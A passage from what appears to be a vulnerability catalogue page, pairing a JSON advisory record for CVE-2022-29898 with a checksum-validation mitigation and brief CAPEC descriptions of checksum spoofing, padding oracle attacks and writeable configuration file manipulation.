  "published": "2022-05-12T00:01:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29898"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/en/advisories/VDE-2022-018"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

CAPEC-145: Checksum Spoofing

An adversary spoofs a checksum message for the purpose of making a payload appear to have a valid corresponding checksum. Checksums are used to verify message integrity. They consist of some value based on the value of the message they are protecting. Hash codes are a common checksum mechanism. Both the sender and recipient are able to compute the checksum based on the contents of the message. If the message contents change between the sender and recipient, the sender and recipient will compute different checksum values. Since the sender's checksum value is transmitted with the message, the recipient would know that a modification occurred. In checksum spoofing an adversary modifies the message body and then modifies the corresponding checksum so that the recipient's checksum calculation will match the checksum (created by the adversary) in the message. This would prevent the recipient from realizing that a change occurred.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

← Back to the CWE list